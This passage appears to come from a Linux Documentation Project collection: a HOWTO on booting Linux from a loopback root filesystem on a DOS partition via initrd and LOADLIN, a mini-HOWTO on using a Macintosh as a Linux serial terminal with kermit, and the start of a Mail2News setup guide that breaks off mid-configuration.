  • 1.2 Revision History

2. Principles of Loopback Devices and Ramdisks

  • 2.1 Loopback Devices
  • 2.2 Ramdisk Devices
  • 2.3 The Initial Ramdisk Device
  • 2.4 The Root Filesystem
  • 2.5 The Linux Boot Sequence

3. How To Create a Loopback Root Device

  • 3.1 Requirements
  • 3.2 Creating the Linux Kernel
  • 3.3 Creating the Initial Ramdisk Device
  • 3.4 Creating The Root Device
  • 3.5 Creating the Swap Device
  • 3.6 Creating the MSDOS Directory
  • 3.7 Creating the Boot Floppy

4. Booting the System

  • 4.1 Possible Problems With Solutions
  • 4.2 Reference Documents

5. Other Loopback Root Device Possibilities

  • 5.1 DOS Hard-disk Only Installation
  • 5.2 LILO Booted Installation
  • 5.3 VFAT / NTFS Installation
  • 5.4 Installing Linux without Re-partitioning
  • 5.5 Booting From a Non-bootable device


The Loopback Root Filesystem HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Copyright

The Loopback Root Filesystem HOWTO Copyright (C) 1998,99 Andrew M. Bishop (amb@gedanken.demon.co.uk).

This documentation is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

The GNU General Public License is available from http://www.fsf.org/ or, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111 USA

1.2 Revision History

Version 1.0.0

Initial Version (June 1998)

Version 1.0.1-1.0.3

Slight Modifications, kernel version changes, typos etc. (1998 - July 1999)

Version 1.1

Added Copyright Information and Re-Submitted (September 1999)


The Loopback Root Filesystem HOWTO: Principles of Loopback Devices and Ramdisks

 Next Previous Contents

2. Principles of Loopback Devices and Ramdisks

First I will describe some of the general principles that are used in the setting up of a loopback filesystem as the root device.

2.1 Loopback Devices

A loopback device in Linux is a virtual device that can be used like any other media device.

Examples of normal media devices are hard disk partitions like /dev/hda1, /dev/hda2, /dev/sda1, or entire disks like the floppy disk /dev/fd0 etc. They are all devices that can be used to hold a files and directory structures. They can be formatted with the filesystem that is required (ext2fs, msdos, ntfs etc.) and then mounted.

The loopback filesystem associates a file on another filesystem as a complete device. This can then be formatted and mounted just like any of the other devices listed above. To do this the device called /dev/loop0 or /dev/loop1 etc is associated with the file and then this new virtual device is mounted.

2.2 Ramdisk Devices

In Linux it is also possible to have another type of virtual device mounted as a filesystem, this is the ramdisk device.

In this case the device does not refer to any physical hardware, but to a portion of memory that is set aside for the purpose. The memory that is allocated is never swapped out to disk, but remains in the disk cache.

A ramdisk can be created at any time by writing to the ramdisk device /dev/ram0 or /dev/ram1 etc. This can then be formatted and mounted in the same way that the loopback device is.

When a ramdisk is used to boot from (as is often done on Linux installation disks or rescue disks) then the disk image (the entire contents of the disk as a single file) can be stored on the boot floppy in a compressed form. This is automatically recognised by the kernel when it boots and is uncompressed into the ramdisk before it is mounted.

2.3 The Initial Ramdisk Device

The initial ramdisk device in Linux is another important mechanism that we need to be able to use a loopback device as a the root filesystem.

When the initial ramdisk is used the filesystem image is copied into memory and mounted so that the files on it can be accessed. A program on this ramdisk (called /linuxrc) is run and when it is finished a different device is mounted as the root filesystem. The old ramdisk is still present though and is mounted on the directory /initrd if present or available through the device /dev/initrd.

This is unusual behaviour since the normal boot sequence boots from the designated root partition and keeps on running. With the initial ramdisk option the root partition is allowed to change before the main boot sequence is started.

2.4 The Root Filesystem

The root filesystem is the device that is mounted first so that it appears as the directory called / after booting.

There are a number of complications about the root filesystem that are due to the fact that it contains all files. When booting the rc scripts are run, these are either the files in /etc/rc.d or /etc/rc?.d depending on the version of the /etc/init program.

When the system has booted it is not possible to unmount the root partition or change it since all programs will be using it to some extent. This is why the initial ramdisk is so useful because it can be used so that the final root partition is not the same as the one that is loaded at boot time.

2.5 The Linux Boot Sequence

To show how the initial ramdisk operates in the boot sequence, the order of events is listed below.

  1. The kernel is loaded into memory, this is performed by LILO or LOADLIN. You can see the Loading... message as this happens.
  2. The ramdisk image is loaded into memory, again this is performed by LILO or LOADLIN. You can see the Loading... message again as this happens.
  3. The kernel is initialised, including parsing the command line options and setting of the ramdisk as the root device.
  4. The program /linuxrc is run on the initial ramdisk.
  5. The root device is changed to that specified in the kernel parameter.
  6. The init program /etc/init is run which will perform the user configurable boot sequence.

This is just a simplified version of what happens, but is sufficient to explain how the kernel starts up and where the initial ramdisk is used.


The Loopback Root Filesystem HOWTO: How To Create a Loopback Root Device

 Next Previous Contents

3. How To Create a Loopback Root Device

Now that the general principles are explained the method of creating the loopback device can be explained.

3.1 Requirements

To create the loopback root device will require a number of things.

  • A working Linux system.
  • A way to copy large files onto the target DOS partition.

Most important is access to an installed Linux system. This is because the loop device can only be created under Linux. This will mean that it is not possible to bootstrap a working system from nothing. The requirements of the Linux system that you use is that you can compile a kernel on it.

Once the loopback device is created it will be a large file. I have used an 80 MB files, but while this was sufficient for an X terminal it may not be enough if you want to use it for much else. This file must be copied onto the DOS partition, so either a network or a lot of floppy disks must be used.

The software that you will require includes

  • LOADLIN version 1.6 or above
  • A version of mount that supports loopback devices
  • A version of the kernel that supports the required options.

All of these should be standard for recent Linux installations.

3.2 Creating the Linux Kernel

I created the loopback device using Linux kernel version 2.0.31, other versions should also work, but they must have at least the options listed below.

The kernel options that you will need to enable are the following:

  • RAM disk support (CONFIG_BLK_DEV_RAM).
  • Initial RAM disk (initrd) support (CONFIG_BLK_DEV_INITRD).
  • Loop device support (CONFIG_BLK_DEV_LOOP).
  • fat fs support (CONFIG_FAT_FS).
  • msdos fs support (CONFIG_MSDOS_FS).

The first two are for the RAM disk device itself and the initial ram disk device. The next one is the loop back filesystem option. The last two are the msdos filesystem support which is required to mount the DOS partitition.

Compiling a kernel without modules is the easiest option, although if you do want modules then it should be possible although I have not tried it. If modules are used then you should make sure that you have the options above compiled in and not as modules themselves.

Depending on the kernel version that you have you may need to apply a kernel patch. It is a very simple one that allows the loopback device to be used as the root filesystem.

  • Kernel versions before 2.0.0; I have no information about these.
  • Kernel version 2.0.0 to 2.0.34; you need to apply the kernel patch for 2.0.x kernels as shown below.
  • Kernel version 2.0.35 to 2.0.x; no kernel patch is required.
  • Kernel version 2.1.x; you need to apply the kernel patch for 2.0.x or 2.2.x kernels as shown below, depending on the exact 2.1.x version.
  • Kernel version 2.2.0 to 2.2.10; you need to apply the kernel patch for 2.2.x kernels as shown below.
  • Kernel version 2.3.x; you need to apply the kernel patch for 2.2.x kernels as shown below.

For 2.0.x kernels the file /init/main.c needs to have a single line added to it as shown by the modified version below. The line that says "loop", 0x0700 is the one that was added.

static void parse_root_dev(char * line)
{
        int base = 0;
        static struct dev_name_struct {
                const char *name;
                const int num;
        } devices[] = {
                { "nfs",     0x00ff },
                { "loop",    0x0700 },
                { "hda",     0x0300 },

...

                { "sonycd",  0x1800 },
                { NULL, 0 }
        };

...

}

For 2.2.x kernels the file /init/main.c needs to have three lines added to it as shown by the modified version below. The line that says "loop", 0x0700 and the ones either side of it are the ones that were added.

static struct dev_name_struct {
        const char *name;
        const int num;
} root_dev_names[] __initdata = {
#ifdef CONFIG_ROOT_NFS
        { "nfs",     0x00ff },
#endif
#ifdef CONFIG_BLK_DEV_LOOP
        { "loop",    0x0700 },
#endif
#ifdef CONFIG_BLK_DEV_IDE
        { "hda",     0x0300 },

...

        { "ddv", DDV_MAJOR << 8},
#endif
        { NULL, 0 }
};

Once the kernel is configured it should be compiled to produce a zImage file (make zImage). This file will be arch/i386/boot/zImage when compiled.

3.3 Creating the Initial Ramdisk Device

The initial ramdisk is most easily created as a loopback device from the start. You will need to do this as root, the commands that you need to execute are listed below, they are assumed to be run from root's home directory (/root).

mkdir /root/initrd
dd if=/dev/zero of=initrd.img bs=1k count=1024
mke2fs -i 1024 -b 1024 -m 5 -F -v initrd.img
mount initrd.img /root/initrd -t ext2 -o loop
cd initrd
[create the files]
cd ..
umount /root/initrd
gzip -c -9 initrd.img > initrdgz.img

There are a number of steps to this, but they can be described as follows.

  1. Create a mount point for the initial ramdisk (an empty directory).
  2. Create an empty file of the size required. Here I have used 1024kB, you may need less or more depending on the contents, (the size is the last parameter).
  3. Make an ext2 filesystem on the empty file.
  4. Mount the file onto the mount point, this uses the loopback device.
  5. Change to the mounted loopback device.
  6. Create the files that are required (see below for details).
  7. Move out of the mounted loopback device.
  8. Unmount the device.
  9. Create a compressed version for use later.

Contents Of The Initial Ramdisk

The files that you will need on the ramdisk are the minimum requirements to be able to execute any commands.

  • /linuxrc The script that is run to mount the msdos file system (see below).
  • /lib/* The dynamic linker and the libraries that the programs need.
  • /etc/* The cache used by the dynamic linker (not strictly needed, but does stop it complaining).
  • /bin/* A shell interpreter (ash because it is smaller than bash. The mount and losetup programs for handling the DOS disk and setting up the loopback devices.
  • /dev/* The devices that will be used. You need /dev/zero for ld-linux.so, /dev/hda* to mount the msdos disk and /dev/loop* for the lopback device.
  • /mnt An empty directory to mount the msdos disk on.

The initial ramdisk that I used is listed below, the contents come to about 800kB when the overhead of the filesystem are taken into account.

total 18
drwxr-xr-x   2 root     root         1024 Jun  2 13:57 bin
drwxr-xr-x   2 root     root         1024 Jun  2 13:47 dev
drwxr-xr-x   2 root     root         1024 May 20 07:43 etc
drwxr-xr-x   2 root     root         1024 May 27 07:57 lib
-rwxr-xr-x   1 root     root          964 Jun  3 08:47 linuxrc
drwxr-xr-x   2 root     root        12288 May 27 08:08 lost+found
drwxr-xr-x   2 root     root         1024 Jun  2 14:16 mnt

./bin:
total 168
-rwxr-xr-x   1 root     root        60880 May 27 07:56 ash
-rwxr-xr-x   1 root     root         5484 May 27 07:56 losetup
-rwsr-xr-x   1 root     root        28216 May 27 07:56 mount
lrwxrwxrwx   1 root     root            3 May 27 08:08 sh -> ash

./dev:
total 0
brw-r--r--   1 root     root       3,   0 May 20 07:43 hda
brw-r--r--   1 root     root       3,   1 May 20 07:43 hda1
brw-r--r--   1 root     root       3,   2 Jun  2 13:46 hda2
brw-r--r--   1 root     root       3,   3 Jun  2 13:46 hda3
brw-r--r--   1 root     root       7,   0 May 20 07:43 loop0
brw-r--r--   1 root     root       7,   1 Jun  2 13:47 loop1
crw-r--r--   1 root     root       1,   3 May 20 07:42 null
crw-r--r--   1 root     root       5,   0 May 20 07:43 tty
crw-r--r--   1 root     root       4,   1 May 20 07:43 tty1
crw-r--r--   1 root     root       1,   5 May 20 07:42 zero

./etc:
total 3
-rw-r--r--   1 root     root         2539 May 20 07:43 ld.so.cache

./lib:
total 649
lrwxrwxrwx   1 root     root           18 May 27 08:08 ld-linux.so.1 -> ld-linux.so.1.7.14
-rwxr-xr-x   1 root     root        21367 May 20 07:44 ld-linux.so.1.7.14
lrwxrwxrwx   1 root     root           14 May 27 08:08 libc.so.5 -> libc.so.5.3.12
-rwxr-xr-x   1 root     root       583795 May 20 07:44 libc.so.5.3.12

./lost+found:
total 0

./mnt:
total 0

The only complex steps about this are the devices in dev. Use the mknod program to create them, use the existing devices in /dev as a template to get the required parameters.

The /linuxrc file

The /linuxrc file on the initial ramdisk is required to do all of the preparations so that the loopback device can be used for the root partition when it exits.

The example below tries to mount /dev/hda1 as an msdos partition and if it succeeds then sets up the files /linux/linuxdsk.img as /dev/loop0 and /linux/linuxswp.img as /dev/loop1.

#!/bin/sh

echo INITRD: Trying to mount /dev/hda1 as msdos

if /bin/mount -n -t msdos /dev/hda1 /mnt; then

   echo INITRD: Mounted OK
   /bin/losetup /dev/loop0 /mnt/linux/linuxdsk.img
   /bin/losetup /dev/loop1 /mnt/linux/linuxswp.img
   exit 0

else

   echo INITRD: Mount failed
   exit 1

fi

The first device /dev/loop0 will become the root device and the second one /dev/loop1 will become the swap space.

If you want to be able to write to the DOS partition as a non-root user when you have finished then you should use mount -n -t msdos /dev/hda1 /mnt -o uid=0,gid=0,umask=000,quiet instead. This will map all accesses to the DOS partition to root and set the permissions appropriately.

3.4 Creating The Root Device

The root device that you will be using is the file linuxdsk.img. You will need to create this in the same way that the initial ramdisk was created, but bigger. You can install any Linux installation that you like onto this disk.

The easiest way might be to copy an existing Linux installation into it. An alternative is to install a new Linux installation onto it.

Assuming that you have done this, there are some minor changes that you must make.

The /etc/fstab file must reference the root partition and the swap using the two loopback devices that are setup on the initial ramdisk.

/dev/loop0     /      ext2   defaults 1 1
/dev/loop1     swap   swap   defaults 1 1

This will ensure that when the real root device is used the kernel will not be confused about where the root device is. It will also allow the swap space to be added in the same way a swap partition is normally used. You should remove any other reference to a root disk device or swap partition.

If you want to be able to read the DOS partition after Linux has started then you will need to make a number of extra small changes.

Create a directory called /initrd, this is where the initial ramdisk will be mounted once the loopback root filesystem is mounted.

Create a symbolic link called /DOS that points to /initrd/mnt where the real DOS parition will be mounted.

Add a line into the rc file that mounts the disks. This should run the command mount -f -t msdos /dev/hda1 /initrd/mnt, this will create a 'fake' mount of the DOS partition so that all programs (like df) will know that the DOS partition is mounted and where to find it. If you used different options in the /linuxrc file that obviously you should use them here also.

There is no need to have a Linux kernel on this root device since that is already loaded earlier. If you are using modules however then you should include them on this device as normal.

3.5 Creating the Swap Device

The root device that you will be using is the file linuxswap.img. The swap device is very simple to create. Create an empty file as was done for the initial ramdisk and then run mkswap linuxswap.img to intialise it.

The size of the swap space will depend on what you plan to do with the installed system, but I would recommend between 8MB and the amount of RAM that you have.

3.6 Creating the MSDOS Directory

The files that are going to be used need to be moved onto the DOS partition.

The files that are required in the DOS directory called C:\LINUX are the following:

  • LINUXDSK.IMG The disk image that will become the root device.
  • LINUXSWP.IMG The swap space.

3.7 Creating the Boot Floppy

The boot floppy that is used is just a normal DOS format bootable floppy.

This is created using format a: /s from DOS.

Onto this disk you will need to create an AUTOEXEC.BAT file (as below) and copy the kernel, compressed initial ramdisk and LOADLIN executable.

  • AUTOEXEC.BAT The DOS automatically executed batch file.
  • LOADLIN.EXE The LOADLIN program executable.
  • ZIMAGE The Linux kernel.
  • INITRDGZ.IMG The compressed initial ramdisk image.

The AUTOEXEC.BAT file should contain just one line as below.

\loadlin \zImage initrd=\initrdgz.img root=/dev/loop0 ro

This specifies the kernel image to use, the initial ramdisk image, the root device after the initial ramdisk has finished and that the root partition is to be mounted read-only.


The Loopback Root Filesystem HOWTO: Booting the System

 Next Previous Contents

4. Booting the System

To boot from this new root device all that is required is that the floppy disk prepared as described above is inserted for the PC to boot from.

You will see the following sequence of events.

  1. DOS boots
  2. AUTOEXEC.BAT starts
  3. LOADLIN is run
  4. The Linux kernel is copied into memory
  5. The initial ramdisk is copied into memory
  6. The Linux kernel is started running
  7. The /linuxrc file on the initial ramdisk is run
  8. The DOS partition is mounted and the root and swap devices set up
  9. The boot sequence continues from the loopback device

When this is complete you can remove the boot floppy and use the Linux system.

4.1 Possible Problems With Solutions

There are a number of stages where this process could fail, I will try to explain what they are and what to check.

DOS booting is easy to recognise by the message that it prints MS-DOS Starting ... on the screen. If this is not seen then the floopy disk is either not-bootable or the PC is not bootable from the floppy disk drive.

When the AUTOEXEC.BAT file is run the commands in it should be echoed to the screen by default. In this case there is just the single line in the file that starts LOADLIN.

When LOADLIN executes it will do two very visible things, firstly it will load the kernel into memory, secondly it will copy the ramdisk into memory. Both of these are indicated by a Loading... message.

The kernel starts by uncompressing itself, this can give crc errors if the kernel image is corrupted. Then it will start running the initialisation sequence which is very verbose with diagnostic messages. Loading of the initial ramdisk device is also visible during this phase.

When the /linuxrc file is run there is no diagnostic messages, but you can add these yourself as an aid to debugging. If this stage fails to set up the loopback device as the root device then you may see a message that there is no root device and the kernel aborts.

The normal boot sequence of the new root device will now continue and this is quite verbose. There may be problems about the root device being mounted read-write, but the LOADLIN command line option 'ro' should stop that. Other problems that can occur are that the boot sequence is confused about where the root device is, this is probably due to a problem with /etc/fstab.

When the boot sequence has completed, the remaining problem is that programs are confused about whether the DOS partition is mounted or not. This is why it is a good idea to use the fake mount command described earlier. This makes life a lot easier if you want to access the files on the DOS device.

4.2 Reference Documents

The documents that I used to create my first loopback root filesystem were:

  • The Linux kernel source, in particular init/main.c
  • The Linux kernel documentation, in particular Documentation/initrd.txt and Documentation/ramdisk.txt.
  • The LILO documentation.
  • The LOADLIN documentation


The Loopback Root Filesystem HOWTO: Other Loopback Root Device Possibilities

 Next Previous Contents

5. Other Loopback Root Device Possibilities

Once the principle of booting a filesystem in a file on a DOS partition has been established there are many other things that you can now do.

5.1 DOS Hard-disk Only Installation

If it is possible to boot Linux from a file on a DOS harddisk by using a boot floppy then it is obviously also possible to do it using the harddisk itself.

A configuration boot menu can be used to give the option of running LOADLIN from within the AUTOEXEC.BAT. This will give a much faster boot sequence, but is otherwise identical.

5.2 LILO Booted Installation

Using LOADLIN is only one option for booting a Linux kernel. There is also LILO that does much the same but without needing DOS.

In this case the DOS format floppy disk can be replaced by an ext2fs format one. Otherwise the details are very similar, with the kernel and the initial ramdisk being files on that disk.

The reason that I chose the LOADLIN method is that the arguments that need to be given to LILO are slightly more complex. Also it is more obvious to a casual observer what the floppy disk is since it can be read under DOS.

5.3 VFAT / NTFS Installation

I have tried the NTFS method, and have had no problems with it. The NTFS filesystem driver is not a standard kernel option in version 2.0.x, but is available as a patch from http://www.informatik.hu-berlin.de/~loewis/ntfs/. In version 2.2.x the NTFS driver is included as standard in the kernel.

The only changes for the VFAT or NTFS options are in the initial ramdisk, the file /linuxrc needs to mount a file system of type vfat or ntfs rather that msdos.

I know of no reason why this should not also work on a VFAT partition.

5.4 Installing Linux without Re-partitioning

The process of installing Linux on a PC from a standard distribution requires booting from a floppy disk and re-partitioning the disk. This stage could instead be accomplished by a boot floppy that creates an empty loopback device and swap file. This would allow the installation to proceed as normal, but it would install into the loopback device rather than a partition.

This could be used as an alternative to a UMSDOS installation, it would be more efficient in disk usage since the minimum allocation unit in the ext2 filesystem is 1kB instead of up to 32kB on a DOS partition. It can also be used on VFAT and NTFS formatted disks which are otherwise a problem.

5.5 Booting From a Non-bootable device

This method can also be used to boot a Linux system from a device that is not normally bootable.

  • CD-Rom
  • Zip Disks
  • Parallel port disk drives

Obviously there are many other devices that could be used, NFS root filesystems are already included in the kernel as an option, but the method described here might also be used instead.


The MacTerminal MINI-HOWTO

Robert Kiesling

v1.4, 9 November 1997

This mini HOWTO describes the 1,002nd use for a dead Macintosh (grin): how to configure the Mac for use as a Linux terminal. Configurations using getty and the terminal program kermit are described, as well as using kermit peer-to-peer networking between between Linux and a Macintosh. This document may be reproduced freely, in whole or in part, provided that any usage conforms to the general copyright notice of the HOWTO series of the Linux Documentation Project. See the file COPYRIGHT for details. Send all complaints, suggestions, errata, and any miscellany to kiesling@terracom.net, so I can keep this document as complete and up to date as possible.

1. Introduction.

2. Setting up a serial link.

3. Client-server connection with kermit.

  • 3.1 Macintosh resources.

4. Logging in via kermit.

  • 4.1 Other Mac terminal programs.

5. Conclusion.


The MacTerminal MINI-HOWTO: Introduction.

 Next Previous Contents

1. Introduction.

This mini-HOWTO should give you some Insanely Great ideas for how to make your Macintosh work with Linux. Unfortunately, I have been very busy, and so I haven't been able to include even half of what I wanted to include, like using MacTCP and Open Transport to connect to your Linux box via a PPP line. That will need to wait for future versions.

This mini-HOWTO doesn't cover networking with LocalTalk and AppleTalk, either. I might explore these avenues if there's enough interest in, say, printing to a LaserWriter printer from Linux. Otherwise, it seems to me that such applications, being more trouble than they're worth (not to mention pricey), are beyond the scope of this document.

I don't plan to cover MkLinux in this document, either. It's more than adequately documented elsewhere.

So if you have ideas for this document, drop me a line at the e-mail above. Both systems embody a lot of the beginner's mindset as well as technical prowess, and in my opinion they don't talk to each other nearly enough.


The MacTerminal MINI-HOWTO: Setting up a serial link.

 Next Previous Contents

2. Setting up a serial link.

To set up a serial link between a Mac and a Linux machine, you will need, on the Linux side, either a DB9 Female-to-DB25 Male serial cable or a DB25 Female-to-DB25 Male serial cable, depending on your serial port. On the Macintosh side, you will need a DIN9-to-DB25 Male high-speed modem cable.

Make sure that the cable is labeled a "high speed" cable, because some older Macintosh cables are configured with their handshaking lines tied high, which makes them useless for high-speed serial connections.

You will also need a null modem adapter, available at Comp USA, Radio Shack, and similar outlets, and a DB25 Female-to-DB25 Female serial gender changer to connect the two serial cables.

I have heard that Mac printer cables are really null modem cables in disguise, but I can't confirm this. Some of them are DIN9-to-DIN9 anyway, and wiring one into a serial link would be more trouble than it's worth.

If this sounds like Greek to you, read the Serial-HOWTO for details of RS-232 cable configurations and data transmission protocols.

Before connecting the Mac and the Linux machines, you should determine that you have a working serial port on both machines, either by connecting a modem and dialing out to another computer with minicom (Linux), ZTerm (Mac), kermit (either), or the communications program of your choice.

The latest version of minicom is available from sunsite.unc.edu/pub/Linux/apps/serialcomm/dialout and mirror sites.

ZTerm is a complete, easy to use comm program. Unfortunately, it's shareware. A current version is available from mac.archive.umich.edu and outlets like it.

The kermit program has been ported to every computer and operating system in existence. The archives are located at ftp.columbia.edu/kermit.

You should strongly consider using kermit on both machines at this stage at least, because 1) it's free (although it's not covered by the Free Software Foundation's General Public License); and 2) it's a lot less confusing to have kermit on both machines than two completely different communications programs.

If you have another way to determine that the serial ports of the two machines are operational, feel free to use that. The point is to ensure that both machines have working serial ports.

Making the actual serial connection should be easy, given the directions above. In case it isn't, the connection looks like this:

 Linux PC    DB9- or DB25-  Null     Gender   DIN9-to-       MacBox
 ---------   to-DB25 male   Modem    Changer  DB25 Mac      --------
 |       |   serial cable. |     |  |     |   Serial Cable  |      |
 |       |-----------------|     |--|     |-----------------|      |
 |       |                 |     |  |     |                 |      |
 ---------                  Adapter                         --------


The MacTerminal MINI-HOWTO: Client-server connection with kermit.

 Next Previous Contents

3. Client-server connection with kermit.

This is the most transient of all the configurations described here. It requires the least amount of system configuration, although in operation, it is the more difficult to use of the systems described here.

In brief, you start kermit on both the Linux machine and the Mac, and place one of them in server mode. It doesn't matter which machine is the client ant which is the server, because this is a peer-to-peer connection. However, the Linux kermit can take advantage of Linux's superior scripting abilities, so it seems logical (to me at least) to designate the Linux-side kermit as the server, because this is the more readily automated task.

You should ensure that kermit is installed correctly on both the Mac and the Linux PC. Follow the instructions in the respective kermit distributions. On the Linux machine type kermit at the shell prompt to start it. You may need root permissions in order to set the port and baud rate.

kermit, the recent POSIX versions for Unices, supports baud rates up to 115 Kbps. The more recent Macintosh versions support serial port speeds up to 57.6 Kbps. This should be more than sufficient for any dumb tty-type application, but if you need a higher-speed connection, you're s.o.l, as far as kermit and serial lines are concerned. However, kermit provides facilities for communication over a TCP/IP link, but I haven't been able to test it. See the alternative in the following sections. Just remember, especially on the Mac side, to use a different port for kermit serial connections than your TCP/IP connections, because Mac kermit will rudely hose a serial port that is already in use.

With that in mind, your .kermrc file would contain something like this:

echo Executing site initialization file /usr/local/bin/ckermit.local.ini....
set prompt Chanel3 >
set line /dev/ttyS0
set baud 38400
set send packet-length 2000
set receive packet-length 2000
set block 3
set file type binary
Then, in your ~/.kermrc file, you would have a line like
take /usr/local/bin/ckermit.local.ini
On the Macintosh side, set the same communication parameters for bps, stop bits, parity, and word length. Some older versions of Mac Kermit do not support 2k packets, so you might need to set a smaller packet size. Howerver, kermit sets the communication packet length based on the receive packet-length setting, so you need to set a shorter packet size on the Linux end, too.

To actually communicate over the link, you need to enter server mode on either the Mac or Linux side. It doesn't matter which. See the kermit docs for details of server mode.

3.1 Macintosh resources.

This is one of the very few kermit applications where setting a text file type for transfers is useful. This is because Macintosh files have two parts: the data fork and the resource fork. The data fork corresponds to what we in the Linux world think of as a file: it's the actual data. The resource fork contains bitmaps for the icons, keymaps, font specifications, and the like. If you transfer a file from Linux to the Mac, the file won't be recognized as a text file by the Mac, if you use binary mode.

When transferring binary files between the two systems, you should use the Macintosh .hqx BinHex format, which is a 7-bit encoding of an 8-bit data file. Mac utilities like BinHexer or StuffIt will covert the file to its binary form.

If you have a text file which inadvertently ends up as a data-only file on the Mac, it's likely that it won't even appear in an Open dialog list box. What you need to do is open the file with ResEdit, which is available from mac.archive.umich.edu. ResEdit will tell you that the file you're opening has no resource fork and then asks if you would like to add one. You should answer "Yes" to this question. You can then edit the file's Type and Creator by selecting the Open Special option of the File menu. All Macintosh text files are type TEXT, so replace the question marks in the Text box with that. The Creator code depends on your text editor or word processor. Each one is unique, incidentally, and is how the Mac identifies different apps. The Creator code for GNU Emacs on the Mac is EMAC, for example. If in doubt what the creator code of your text editor or word processor is, use ttxt, which is the creator code for TeachText (which is the Mac equivalent of EDLIN.EXE.) Then your real word processor or text editor can translate the file from TeachText to its native type.

There are many other neato things which TeachText can do, so it's worthwhile to keep it permanently on your Mac. The book Voodoo Mac, by Kay Yarborough Nelson, is a good source of tried-and-true Macintosh tricks that use ResEdit, TeachText, the Finder, and other overlooked programs.


The MacTerminal MINI-HOWTO: Logging in via kermit.

 Next Previous Contents

4. Logging in via kermit.

Configuring Linux to use the Mac as a login: terminal is even easier. kermit is ideal for this purpose, because it is one of the few free communication programs which provides credible VT100/120/220 emulation.

Essentially, what you want to do is start kermit on the Macintosh side as in the previous section, but rather than issue server commands, you enter connect mode. This is the normal terminal emulation mode that most people use, anyway.

On the Linux side, the serial line must be configured with a getty on it to start a login: shell. To do this, you need to tell init that the serial line has a terminal on it. In your /etc/inittab file you will need a line something like this:

T1:23:respawn:/sbin/getty -L ttyS0 9600 vt100
Be sure to substitute the appropriate serial device for /dev/ttyS0 and the correct baud rate for 9600 in the command line above.

This command tells getty to start login (the -L switch) on the terminal display, and, when the login times out, to re-start (respawn) the login program until someone logs in. If no device is connected to the serial line, or if the connection is defective, you may see a message on the system console like: /dev/ttyS0 respawning too fast: disabling for 5 minutes. If this happens, you can return things to normal by (as root) killing the getty process, or using the init q command. Both of them have the effect of re-spawning the getty processe(s). If everything is in order, you should see the Linux banner and login prompt on the Mac's kermit window. That's all there is to it.

Also, if you use something besides vanilla getty, like getty_ps, the command above will look somewhat different. The important thing to remember is that everything to the right of /sbin/getty is an argument for getty itself; not init. You should look at the manual pages for getty, init,and inittab if you have questions concerning the setup of init and getty.

The Serial HOWTO provides helpful details on how to configure /etc/inittab for getty_ps, if that's what your system uses.

To transfer files back and forth between the Macintosh and the Linux machine, you can (via the Mac's Kermit) issue the kermit -x command to start the Linux kermit in server mode. You can then use the normal file transfer commands to send files across the serial line. It's useful to set a prompt in your ~/.kermrc with a line like

set prompt Linux-kermit >
Otherwise, remembering which machine you're on can quickly become confusing.

4.1 Other Mac terminal programs.

This method should work equally well for any other Mac terminal program. If you have ZTerm, you can use rz and sz on the Linux machine to transfer files via the ZModem protocol. If Microphone Lite came bundled with your fax modem, that works equally well, albeit without kermit's superior scripting and configuration facilities.


The MacTerminal MINI-HOWTO: Conclusion.

 Next Previous Contents

5. Conclusion.

If you have questions about any of this material, or suggestions for future directions of Mac-Linux serial-line connectivity, don't hesitate to drop me a line at kiesling@terracom.net.


Mail2News Mini-Howto

Bek Oberin gossamer@tertius.net.au

v1.2, November 2000

This document describes how to set up your news server and the mail2news software to link mailing lists to local news groups.

1. Copyright and such

2. Introduction

  • 2.1 Finding mail2news

3. Overview of the system

  • 3.1 Mail from the mailing list
  • 3.2 Messages posted to the local newsgroup

4. Setting up mail2news

5. Procmail

6. Setting up the news groups and news server (innd)

7. If it doesn't work...

8. The Future


Mail2News Mini-Howto: Copyright and such

 Next Previous Contents

1. Copyright and such

The copyright of this document is retained by the author. Permission is granted to distribute the document by electronic means and on CDs provided that it is kept entirely in its original format. Permission is also granted to print a copy of this document for personal use.

The republishing of this document in part or in whole without the permission of the copyright holder by any means other than as noted above is prohibited.


Mail2News Mini-Howto: Introduction

 Next Previous Contents

2. Introduction

Why would you want to post mailing list traffic to local news groups?

Should more than one user subscribe to the same mailing list, there is going to be traffic duplication. By subscribing the site to a list (if this is allowed by the list owner) and 'gating' the email traffic to the local news server, it is possible to make mailing lists accessible to all site users, or, using the security features of 'innd', to limit the access to certain users. Such a site subscription (particularly if there are a number of high traffic lists) can make worthwhile savings in bandwidth usage.

Also, reading list traffic via a newsreader offers the advantages of threading and scoring/killfiles which tend not to be available in all mailreaders. And, of course, it keeps your inbox free free for possibly more urgent, personal email.

This mini-HOWTO describes setting up the 'mail2news' script to accomplish this.

2.1 Finding mail2news

You can download the mail2news package including the script and this HOWTO and other documentation from

http://www.tertius.net.au/~gossamer/code/mail2news/


Mail2News Mini-Howto: Overview of the system

 Next Previous Contents

3. Overview of the system

It is probably easiest to understand how this system works by tracking a message from the mailing list to the newsgroup and then a message posted to the local newsgroup (and gated to the mailing list) and see how they are handled.

3.1 Mail from the mailing list

When mail from the mailing list arrives at the local machine, procmail figures out what newsgroup it belongs in, and pipes the incoming message to mail2news.

The mail2news script processes the message, applying news headers and then uses rnews or inews to post the message to the newsgroup.

3.2 Messages posted to the local newsgroup

The local newsgroup is set up as a moderated group, as this allows us to take advantage of the email capabilities of innd. Any messages posted to a moderated group are not immediately submitted to the group. Instead, messages are emailed to the moderator of the group.

By declaring the moderator of the local newsgroup to be mailing list address, all locally posted messages to the newsgroup are automatically mailed out to the mailing list by innd and only appear once they have been received back through mail2news which adds the necessary 'approved' line to the messages and are thus acceptable to innd for posting to the newsgroup.


Mail2News Mini-Howto: Setting up mail2news

 Next Previous Contents

4. Setting up mail2news

Put the mail2news script in a suitable location. I favour /usr/local/bin, but the location is up to you.

You will need to edit script as follows:-

  • At the top of the script, make sure you are pointing at the local Perl binary. You can probably find out where Perl is by typing 'whereis perl' or 'which perl' at a command prompt. If you can't find it, /usr/bin/perl is the safest bet:
    #!/usr/bin/perl
# point at the correct location of perl
  • Edit the following lines to point at the posting program (I use rnews, inews will work too) and your news host:
    # $inews = "/usr/bin/inews";
# $iopts = "-h -o \"mail2news gateway\"";
$inews = "/usr/bin/rnews";
$iopts = "";
